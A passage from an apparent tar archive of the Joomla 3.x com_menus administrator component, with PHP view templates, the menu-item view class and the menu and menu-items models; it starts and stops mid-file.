				}

				echo $this->form->renderField('link');

				if ($this->item->type == 'alias')
				{
					echo $this->form->renderField('alias_redirect', 'params');
				}

				echo $this->form->renderField('browserNav');
				echo $this->form->renderField('template_style_id');

				if (!$isModal && $this->item->type == 'container')
				{
					echo $this->loadTemplate('container');
				}
				?>
			</div>
			<div class="span3">
				<?php
				// Set main fields.
				$this->fields = array(
					'id',
					'client_id',
					'menutype',
					'parent_id',
					'menuordering',
					'published',
					'home',
					'access',
					'language',
					'note',
				);

				if ($this->item->type != 'component')
				{
					$this->fields = array_diff($this->fields, array('home'));
				}

				echo JLayoutHelper::render('joomla.edit.global', $this); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php
		$this->fieldsets = array();
		$this->ignore_fieldsets = array('aliasoptions', 'request', 'item_associations');
		echo JLayoutHelper::render('joomla.edit.params', $this);
		?>

		<?php if (!$isModal && $assoc && $this->state->get('item.client_id') != 1) : ?>
			<?php if ($this->item->type !== 'alias' && $this->item->type !== 'url'
				&& $this->item->type !== 'separator' && $this->item->type !== 'heading') : ?>
				<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'associations', JText::_('JGLOBAL_FIELDSET_ASSOCIATIONS')); ?>
				<?php echo $this->loadTemplate('associations'); ?>
				<?php echo JHtml::_('bootstrap.endTab'); ?>
			<?php endif; ?>
		<?php elseif ($isModal && $assoc && $this->state->get('item.client_id') != 1) : ?>
			<div class="hidden"><?php echo $this->loadTemplate('associations'); ?></div>
		<?php endif; ?>

		<?php if (!empty($this->modules)) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'modules', JText::_('COM_MENUS_ITEM_MODULE_ASSIGNMENT')); ?>
			<?php echo $this->loadTemplate('modules'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>

		<?php echo JHtml::_('bootstrap.endTabSet'); ?>
	</div>

	<input type="hidden" name="task" value="" />
	<input type="hidden" name="forcedLanguage" value="<?php echo $input->get('forcedLanguage', '', 'cmd'); ?>" />
	<?php echo $this->form->getInput('component_id'); ?>
	<?php echo JHtml::_('form.token'); ?>
	<input type="hidden" id="fieldtype" name="fieldtype" value="" />
</form>
com_menus/views/item/tmpl/edit.xml000060400000000763152455305260013260 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_MENUS_ITEM_VIEW_EDIT_TITLE">
		<message>
			<![CDATA[COM_MENUS_ITEM_VIEW_EDIT_DESC]]>
		</message>
	</layout>
	<fieldset name="request">
		<fields name="request">
			<field
				name="menutype"
				type="menu"
				label="COM_MENUS_ITEMS_CHOOSE_MENU_LABEL"
				description="COM_MENUS_ITEMS_CHOOSE_MENU_DESC"
				clientid=""
				>
				<option value="">COM_MENUS_SELECT_MENU</option>
			</field>
		</fields>
	</fieldset>
</metadata>
com_menus/views/item/tmpl/edit_container.php000060400000011604152455305260015305 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

use Joomla\Registry\Registry;

// Initialise related data.
$menuLinks = MenusHelper::getMenuLinks('main');

JHtml::_('script', 'jui/treeselectmenu.jquery.min.js', array('version' => 'auto', 'relative' => true));

$script = <<<'JS'
	jQuery(document).ready(function ($) {
		var propagate = function () {
			var $this = $(this);
			var sub = $this.closest('li').find('.treeselect-sub [type="checkbox"]');
			sub.prop('checked', this.checked);
			if ($this.val() == 1)
				sub.each(propagate);
			else
				sub.attr('disabled', this.checked ? 'disabled' : null);
		};
		$('.treeselect')
			.on('click', '[type="checkbox"]', propagate)
			.find('[type="checkbox"]:checked').each(propagate);
	});
JS;

$style = <<<'CSS'
	.checkbox-toggle {
		display: none !important;
	}
	.checkbox-toggle[disabled] ~ .btn-hide {
		opacity: 0.5;
	}
	.checkbox-toggle ~ .btn-show {
		display: inline;
	}
	.checkbox-toggle ~ .btn-hide {
		display: none;
	}
	.checkbox-toggle:checked ~ .btn-show {
		display: none;
	}
	.checkbox-toggle:checked ~ .btn-hide {
		display: inline;
	}
CSS;

JFactory::getDocument()->addScriptDeclaration($script);
JFactory::getDocument()->addStyleDeclaration($style);
?>
<div id="menuselect-group" class="control-group">
	<div class="control-label"><?php echo $this->form->getLabel('hideitems', 'params'); ?></div>

	<div id="jform_params_hideitems" class="controls">
		<?php if (!empty($menuLinks)) : ?>
		<?php $id = 'jform_params_hideitems'; ?>

		<div class="well well-small">
			<div class="form-inline">
				<span class="small"><?php echo JText::_('COM_MENUS_ACTION_EXPAND'); ?>:
					<a id="treeExpandAll" href="javascript://"><?php echo JText::_('JALL'); ?></a>,
					<a id="treeCollapseAll" href="javascript://"><?php echo JText::_('JNONE'); ?></a>|
					<?php echo JText::_('JSHOW'); ?>:
					<a id="treeUncheckAll" href="javascript://"><?php echo JText::_('JALL'); ?></a>,
					<a id="treeCheckAll" href="javascript://"><?php echo JText::_('JNONE'); ?></a>
				</span>
				<input type="text" id="treeselectfilter" name="treeselectfilter" class="input-medium search-query pull-right" size="16"
					autocomplete="off" placeholder="<?php echo JText::_('JSEARCH_FILTER'); ?>" aria-invalid="false" tabindex="-1">
			</div>

			<div class="clearfix"></div>

			<hr class="hr-condensed" />

			<ul class="treeselect">

				<?php if (count($menuLinks)) : ?>
					<?php $prevlevel = 0; ?>
					<div class="alert alert-info"><?php echo JText::_('COM_MENUS_ITEM_FIELD_COMPONENTS_CONTAINER_HIDE_ITEMS_DESC')?></div>
					<li>
					<?php
					$params      = new Registry($this->item->params);
					$hiddenLinks = (array) $params->get('hideitems');

					foreach ($menuLinks as $i => $link) : ?>
						<?php
						if ($extension = $link->element):
							$lang->load("$extension.sys", JPATH_ADMINISTRATOR, null, false, true)
							|| $lang->load("$extension.sys", JPATH_ADMINISTRATOR . '/components/' . $extension, null, false, true);
						endif;

						if ($prevlevel < $link->level)
						{
							echo '<ul class="treeselect-sub">';
						}
						elseif ($prevlevel > $link->level)
						{
							echo str_repeat('</li></ul>', $prevlevel - $link->level);
						}
						else
						{
							echo '</li>';
						}

						$selected = in_array($link->value, $hiddenLinks) ? 1 : 0;
						?>
							<li>
								<div class="treeselect-item pull-left">
									<input type="checkbox" <?php echo $link->value > 1 ? ' name="jform[params][hideitems][]" ' : ''; ?>
										   id="<?php echo $id . $link->value; ?>" value="<?php echo (int) $link->value; ?>" class="novalidate checkbox-toggle"
										<?php echo $selected ? ' checked="checked"' : ''; ?> />

									<?php if ($link->value == 1): ?>
										<label for="<?php echo $id . $link->value; ?>" class="btn btn-mini btn-info pull-left"><?php echo JText::_('JALL') ?></label>
									<?php else: ?>
										<label for="<?php echo $id . $link->value; ?>" class="btn btn-mini btn-danger btn-hide pull-left"><?php echo JText::_('JHIDE') ?></label>
										<label for="<?php echo $id . $link->value; ?>" class="btn btn-mini btn-success btn-show pull-left"><?php echo JText::_('JSHOW') ?></label>
										<label for="<?php echo $id . $link->value; ?>" class="pull-left"><?php echo JText::_($link->text); ?></label>
									<?php endif; ?>
								</div>
						<?php

						if (!isset($menuLinks[$i + 1]))
						{
							echo str_repeat('</li></ul>', $link->level);
						}
						$prevlevel = $link->level;
						?>
						<?php endforeach; ?>
					</li>
					<?php endif; ?>

			</ul>
			<div id="noresultsfound" style="display:none;" class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		</div>
		<?php endif; ?>
	</div>
</div>
com_menus/views/item/tmpl/modal_options.php000060400000002666152455305260015175 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<?php
	echo JHtml::_('bootstrap.startAccordion', 'menuOptions', array('active' => 'collapse0'));
	$fieldSets = $this->form->getFieldsets('params');
	$i = 0;

	foreach ($fieldSets as $name => $fieldSet) :
		if (!(($this->item->link == 'index.php?option=com_wrapper&view=wrapper') && $fieldSet->name == 'request')
				&& !($this->item->link == 'index.php?Itemid=' && $fieldSet->name == 'aliasoptions')) :
			$label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MENUS_' . $name . '_FIELDSET_LABEL';
			echo JHtml::_('bootstrap.addSlide', 'menuOptions', JText::_($label), 'collapse' . ($i++));
				if (isset($fieldSet->description) && trim($fieldSet->description)) :
					echo '<p class="tip">' . $this->escape(JText::_($fieldSet->description)) . '</p>';
				endif;
				?>
					<?php foreach ($this->form->getFieldset($name) as $field) : ?>

						<div class="control-group">

							<div class="control-label">
								<?php echo $field->label; ?>
							</div>
							<div class="controls">
								<?php echo $field->input; ?>
							</div>

						</div>
					<?php endforeach;
			echo JHtml::_('bootstrap.endSlide');
		endif;
	endforeach; ?>
<?php

echo JHtml::_('bootstrap.endAccordion');
com_menus/views/item/tmpl/edit_associations.php000060400000000506152455305260016021 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.associations', $this);
com_menus/views/item/tmpl/modal_associations.php000060400000000506152455305260016170 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.associations', $this);
com_menus/views/item/tmpl/modal.php000060400000002510152455305260013406 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));

// @deprecated 4.0 the function parameter, the inline js and the buttons are not needed since 3.7.0.
$function  = JFactory::getApplication()->input->getCmd('function', 'jEditMenu_' . (int) $this->item->id);

// Function to update input title when changed
JFactory::getDocument()->addScriptDeclaration('
	function jEditMenuModal() {
		if (window.parent && document.formvalidator.isValid(document.getElementById("item-form"))) {
			return window.parent.' . $this->escape($function) . '(document.getElementById("jform_title").value);
		}
	}
');
?>
<button id="applyBtn" type="button" class="hidden" onclick="Joomla.submitbutton('item.apply'); jEditMenuModal();"></button>
<button id="saveBtn" type="button" class="hidden" onclick="Joomla.submitbutton('item.save'); jEditMenuModal();"></button>
<button id="closeBtn" type="button" class="hidden" onclick="Joomla.submitbutton('item.cancel');"></button>

<div class="container-popup">
	<?php $this->setLayout('edit'); ?>
	<?php echo $this->loadTemplate(); ?>
</div>
com_menus/views/item/tmpl/edit_options.php000060400000002666152455305260015026 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<?php
	echo JHtml::_('bootstrap.startAccordion', 'menuOptions', array('active' => 'collapse0'));
	$fieldSets = $this->form->getFieldsets('params');
	$i = 0;

	foreach ($fieldSets as $name => $fieldSet) :
		if (!(($this->item->link == 'index.php?option=com_wrapper&view=wrapper') && $fieldSet->name == 'request')
				&& !($this->item->link == 'index.php?Itemid=' && $fieldSet->name == 'aliasoptions')) :
			$label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MENUS_' . $name . '_FIELDSET_LABEL';
			echo JHtml::_('bootstrap.addSlide', 'menuOptions', JText::_($label), 'collapse' . ($i++));
				if (isset($fieldSet->description) && trim($fieldSet->description)) :
					echo '<p class="tip">' . $this->escape(JText::_($fieldSet->description)) . '</p>';
				endif;
				?>
					<?php foreach ($this->form->getFieldset($name) as $field) : ?>

						<div class="control-group">

							<div class="control-label">
								<?php echo $field->label; ?>
							</div>
							<div class="controls">
								<?php echo $field->input; ?>
							</div>

						</div>
					<?php endforeach;
			echo JHtml::_('bootstrap.endSlide');
		endif;
	endforeach; ?>
<?php

echo JHtml::_('bootstrap.endAccordion');
com_menus/views/item/view.html.php000060400000010475152455305260013264 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * The HTML Menus Menu Item View.
 *
 * @since  1.6
 */
class MenusViewItem extends JViewLegacy
{
	/**
	 * @var  JForm
	 */
	protected $form;

	/**
	 * @var  object
	 */
	protected $item;

	/**
	 * @var  mixed
	 */
	protected $modules;

	/**
	 * @var  JObject
	 */
	protected $state;

	/**
	 * @var  JObject
	 */
	protected $canDo;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$user = JFactory::getUser();

		$this->state   = $this->get('State');
		$this->form    = $this->get('Form');
		$this->item    = $this->get('Item');
		$this->modules = $this->get('Modules');
		$this->levels  = $this->get('ViewLevels');
		$this->canDo   = JHelperContent::getActions('com_menus', 'menu', (int) $this->state->get('item.menutypeid'));

		// Check if we're allowed to edit this item
		// No need to check for create, because then the moduletype select is empty
		if (!empty($this->item->id) && !$this->canDo->get('core.edit'))
		{
			throw new Exception(JText::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));

			return;
		}

		// If we are forcing a language in modal (used for associations).
		if ($this->getLayout() === 'modal' && $forcedLanguage = JFactory::getApplication()->input->get('forcedLanguage', '', 'cmd'))
		{
			// Set the language field to the forcedLanguage and disable changing it.
			$this->form->setValue('language', null, $forcedLanguage);
			$this->form->setFieldAttribute('language', 'readonly', 'true');

			// Only allow to select categories with All language or with the forced language.
			$this->form->setFieldAttribute('parent_id', 'language', '*,' . $forcedLanguage);
		}

		parent::display($tpl);
		$this->addToolbar();
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$input = JFactory::getApplication()->input;
		$input->set('hidemainmenu', true);

		$user       = JFactory::getUser();
		$isNew      = ($this->item->id == 0);
		$checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id'));
		$canDo      = $this->canDo;
		$clientId   = $this->state->get('item.client_id', 0);

		JToolbarHelper::title(JText::_($isNew ? 'COM_MENUS_VIEW_NEW_ITEM_TITLE' : 'COM_MENUS_VIEW_EDIT_ITEM_TITLE'), 'list menu-add');

		// If a new item, can save the item.  Allow users with edit permissions to apply changes to prevent returning to grid.
		if ($isNew && $canDo->get('core.create'))
		{
			if ($canDo->get('core.edit'))
			{
				JToolbarHelper::apply('item.apply');
			}

			JToolbarHelper::save('item.save');
		}

		// If not checked out, can save the item.
		if (!$isNew && !$checkedOut && $canDo->get('core.edit'))
		{
			JToolbarHelper::apply('item.apply');
			JToolbarHelper::save('item.save');
		}

		// If the user can create new items, allow them to see Save & New
		if ($canDo->get('core.create'))
		{
			JToolbarHelper::save2new('item.save2new');
		}

		// If an existing item, can save to a copy only if we have create rights.
		if (!$isNew && $canDo->get('core.create'))
		{
			JToolbarHelper::save2copy('item.save2copy');
		}

		if (!$isNew && JLanguageAssociations::isEnabled() && JComponentHelper::isEnabled('com_associations') && $clientId != 1)
		{
			JToolbarHelper::custom('item.editAssociations', 'contract', 'contract', 'JTOOLBAR_ASSOCIATIONS', false, false);
		}

		if ($isNew)
		{
			JToolbarHelper::cancel('item.cancel');
		}
		else
		{
			JToolbarHelper::cancel('item.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();

		// Get the help information for the menu item.
		$lang = JFactory::getLanguage();

		$help = $this->get('Help');

		if ($lang->hasKey($help->url))
		{
			$debug = $lang->setDebug(false);
			$url   = JText::_($help->url);
			$lang->setDebug($debug);
		}
		else
		{
			$url = $help->url;
		}

		JToolbarHelper::help($help->key, $help->local, $url);
	}
}
com_menus/models/menu.php000060400000020602152455305260011474 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

/**
 * Menu Item Model for Menus.
 *
 * @since  1.6
 */
class MenusModelMenu extends JModelForm
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_MENUS_MENU';

	/**
	 * Model context string.
	 *
	 * @var  string
	 */
	protected $_context = 'com_menus.menu';

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		return JFactory::getUser()->authorise('core.delete', 'com_menus.menu.' . (int) $record->id);
	}

	/**
	 * Method to test whether the state of a record can be edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();

		return $user->authorise('core.edit.state', 'com_menus.menu.' . (int) $record->id);
	}

	/**
	 * Returns a Table object, always creating it
	 *
	 * @param   string  $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'MenuType', $prefix = 'JTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		$app = JFactory::getApplication('administrator');

		// Load the User state.
		$id = $app->input->getInt('id');
		$this->setState('menu.id', $id);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_menus');
		$this->setState('params', $params);
	}

	/**
	 * Method to get a menu item.
	 *
	 * @param   integer  $itemId  The id of the menu item to get.
	 *
	 * @return  mixed  Menu item data object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function &getItem($itemId = null)
	{
		$itemId = (!empty($itemId)) ? $itemId : (int) $this->getState('menu.id');

		// Get a menu item row instance.
		$table = $this->getTable();

		// Attempt to load the row.
		$return = $table->load($itemId);

		// Check for a table object error.
		if ($return === false && $table->getError())
		{
			$this->setError($table->getError());

			return false;
		}

		$properties = $table->getProperties(1);
		$value      = ArrayHelper::toObject($properties, 'JObject');

		return $value;
	}

	/**
	 * Method to get the menu item form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm    A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_menus.menu', 'menu', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_menus.edit.menu.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}
		else
		{
			unset($data['preset']);
		}

		$this->preprocessData('com_menus.menu', $data);

		return $data;
	}

	/**
	 * Method to validate the form data.
	 *
	 * @param   JForm   $form   The form to validate against.
	 * @param   array   $data   The data to validate.
	 * @param   string  $group  The name of the field group to validate.
	 *
	 * @return  array|boolean  Array of filtered data if valid, false otherwise.
	 *
	 * @see     JFormRule
	 * @see     JFilterInput
	 * @since   3.9.23
	 */
	public function validate($form, $data, $group = null)
	{
		if (!JFactory::getUser()->authorise('core.admin', 'com_menus'))
		{
			if (isset($data['rules']))
			{
				unset($data['rules']);
			}
		}

		return parent::validate($form, $data, $group);
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$dispatcher = JEventDispatcher::getInstance();
		$id         = (!empty($data['id'])) ? $data['id'] : (int) $this->getState('menu.id');
		$isNew      = true;

		// Get a row instance.
		$table = $this->getTable();

		// Include the plugins for the save events.
		JPluginHelper::importPlugin('content');

		// Load the row if saving an existing item.
		if ($id > 0)
		{
			$isNew = false;
			$table->load($id);
		}

		// Bind the data.
		if (!$table->bind($data))
		{
			$this->setError($table->getError());

			return false;
		}

		// Check the data.
		if (!$table->check())
		{
			$this->setError($table->getError());

			return false;
		}

		// Trigger the before event.
		$result = $dispatcher->trigger('onContentBeforeSave', array($this->_context, &$table, $isNew));

		// Store the data.
		if (in_array(false, $result, true) || !$table->store())
		{
			$this->setError($table->getError());

			return false;
		}

		// Trigger the after save event.
		$dispatcher->trigger('onContentAfterSave', array($this->_context, &$table, $isNew));

		$this->setState('menu.id', $table->id);

		// Clean the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to delete groups.
	 *
	 * @param   array  $itemIds  An array of item ids.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function delete($itemIds)
	{
		$dispatcher = JEventDispatcher::getInstance();

		// Sanitize the ids.
		$itemIds = ArrayHelper::toInteger((array) $itemIds);

		// Get a group row instance.
		$table = $this->getTable();

		// Include the plugins for the delete events.
		JPluginHelper::importPlugin('content');

		// Iterate the items to delete each one.
		foreach ($itemIds as $itemId)
		{
			if ($table->load($itemId))
			{
				// Trigger the before delete event.
				$result = $dispatcher->trigger('onContentBeforeDelete', array($this->_context, $table));

				if (in_array(false, $result, true) || !$table->delete($itemId))
				{
					$this->setError($table->getError());

					return false;
				}

				// Trigger the after delete event.
				$dispatcher->trigger('onContentAfterDelete', array($this->_context, $table));

				// TODO: Delete the menu associations - Menu items and Modules
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Gets a list of all mod_mainmenu modules and collates them by menutype
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public function &getModules()
	{
		$db = $this->getDbo();

		$query = $db->getQuery(true)
			->from('#__modules as a')
			->select('a.id, a.title, a.params, a.position')
			->where('module = ' . $db->quote('mod_menu'))
			->select('ag.title AS access_title')
			->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access');
		$db->setQuery($query);

		$modules = $db->loadObjectList();

		$result = array();

		foreach ($modules as &$module)
		{
			$params = new Registry($module->params);

			$menuType = $params->get('menutype');

			if (!isset($result[$menuType]))
			{
				$result[$menuType] = array();
			}

			$result[$menuType][] = & $module;
		}

		return $result;
	}

	/**
	 * Custom clean the cache
	 *
	 * @param   string   $group     Cache group name.
	 * @param   integer  $clientId  Application client id.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function cleanCache($group = null, $clientId = 0)
	{
		parent::cleanCache('com_menus', 0);
		parent::cleanCache('com_modules');
		parent::cleanCache('mod_menu', 0);
		parent::cleanCache('mod_menu', 1);
	}
}
com_menus/models/items.php000060400000041473152455305260011662 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Menu Item List Model for Menus.
 *
 * @since  1.6
 */
class MenusModelItems extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'menutype', 'a.menutype', 'menutype_title',
				'title', 'a.title',
				'alias', 'a.alias',
				'published', 'a.published',
				'access', 'a.access', 'access_level',
				'language', 'a.language',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'lft', 'a.lft',
				'rgt', 'a.rgt',
				'level', 'a.level',
				'path', 'a.path',
				'client_id', 'a.client_id',
				'home', 'a.home',
				'parent_id', 'a.parent_id',
				'a.ordering'
			);

			$app = JFactory::getApplication();
			$assoc = JLanguageAssociations::isEnabled();

			if ($assoc)
			{
				$config['filter_fields'][] = 'association';
			}
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.lft', $direction = 'asc')
	{
		$app = JFactory::getApplication('administrator');
		$user = JFactory::getUser();

		$forcedLanguage = $app->input->get('forcedLanguage', '', 'cmd');

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Adjust the context to support forced languages.
		if ($forcedLanguage)
		{
			$this->context .= '.' . $forcedLanguage;
		}

		$search = $this->getUserStateFromRequest($this->context . '.search', 'filter_search');
		$this->setState('filter.search', $search);

		$published = $this->getUserStateFromRequest($this->context . '.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$access = $this->getUserStateFromRequest($this->context . '.filter.access', 'filter_access');
		$this->setState('filter.access', $access);

		$parentId = $this->getUserStateFromRequest($this->context . '.filter.parent_id', 'filter_parent_id');
		$this->setState('filter.parent_id', $parentId);

		$level = $this->getUserStateFromRequest($this->context . '.filter.level', 'filter_level');
		$this->setState('filter.level', $level);

		// Watch changes in client_id and menutype and keep sync whenever needed.
		$currentClientId = $app->getUserState($this->context . '.client_id', 0);
		$clientId        = $app->input->getInt('client_id', $currentClientId);

		// Load mod_menu.ini file when client is administrator
		if ($clientId == 1)
		{
			JFactory::getLanguage()->load('mod_menu', JPATH_ADMINISTRATOR, null, false, true);
		}

		$currentMenuType = $app->getUserState($this->context . '.menutype', '');
		$menuType        = $app->input->getString('menutype', $currentMenuType);

		// If client_id changed clear menutype and reset pagination
		if ($clientId != $currentClientId)
		{
			$menuType = '';

			$app->input->set('limitstart', 0);
			$app->input->set('menutype', '');
		}

		// If menutype changed reset pagination.
		if ($menuType != $currentMenuType)
		{
			$app->input->set('limitstart', 0);
		}

		if (!$menuType)
		{
			$app->setUserState($this->context . '.menutype', '');
			$this->setState('menutypetitle', '');
			$this->setState('menutypeid', '');
		}
		// Special menu types, if selected explicitly, will be allowed as a filter
		elseif ($menuType == 'main')
		{
			// Adjust client_id to match the menutype. This is safe as client_id was not changed in this request.
			$app->input->set('client_id', 1);

			$app->setUserState($this->context . '.menutype', $menuType);
			$this->setState('menutypetitle', ucfirst($menuType));
			$this->setState('menutypeid', -1);
		}
		// Get the menutype object with appropriate checks.
		elseif ($cMenu = $this->getMenu($menuType, true))
		{
			// Adjust client_id to match the menutype. This is safe as client_id was not changed in this request.
			$app->input->set('client_id', $cMenu->client_id);

			$app->setUserState($this->context . '.menutype', $menuType);
			$this->setState('menutypetitle', $cMenu->title);
			$this->setState('menutypeid', $cMenu->id);
		}
		// This menutype does not exist, leave client id unchanged but reset menutype and pagination
		else
		{
			$menuType = '';

			$app->input->set('limitstart', 0);
			$app->input->set('menutype', $menuType);

			$app->setUserState($this->context . '.menutype', $menuType);
			$this->setState('menutypetitle', '');
			$this->setState('menutypeid', '');
		}

		// Client id filter
		$clientId = (int) $this->getUserStateFromRequest($this->context . '.client_id', 'client_id', 0, 'int');
		$this->setState('filter.client_id', $clientId);

		// Use a different filter file when client is administrator
		if ($clientId == 1)
		{
			$this->filterFormName = 'filter_itemsadmin';
		}

		$this->setState('filter.menutype', $menuType);

		$language = $this->getUserStateFromRequest($this->context . '.filter.language', 'filter_language', '');
		$this->setState('filter.language', $language);

		// Component parameters.
		$params = JComponentHelper::getParams('com_menus');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);

		// Force a language.
		if (!empty($forcedLanguage))
		{
			$this->setState('filter.language', $forcedLanguage);
		}
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   1.6
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.access');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.language');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.parent_id');
		$id .= ':' . $this->getState('filter.menutype');
		$id .= ':' . $this->getState('filter.client_id');

		return parent::getStoreId($id);
	}

	/**
	 * Builds an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery    A query object.
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);
		$user = JFactory::getUser();
		$app = JFactory::getApplication();

		// Select all fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				$db->quoteName(
					array(
